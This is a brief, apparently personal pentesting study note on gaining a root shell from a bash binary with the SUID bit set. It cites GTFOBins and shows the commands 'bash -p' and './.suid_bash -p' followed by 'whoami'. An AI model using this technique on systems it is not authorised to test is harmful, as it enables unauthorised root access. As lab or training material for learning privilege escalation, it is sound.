# SUID - bash

Reference: gtfobins [here](https://gtfobins.github.io/gtfobins/bash/).

When SUID bit is set on a bash executable, we can use the -p options to elevate our privileges to root like so:

bash (gives user shell)\
bash -p (gives root shell if SUID set)

Similarly here,

`./.suid_bash`\
`whoami`\
`./.suid_bash -p`\
`whoami`
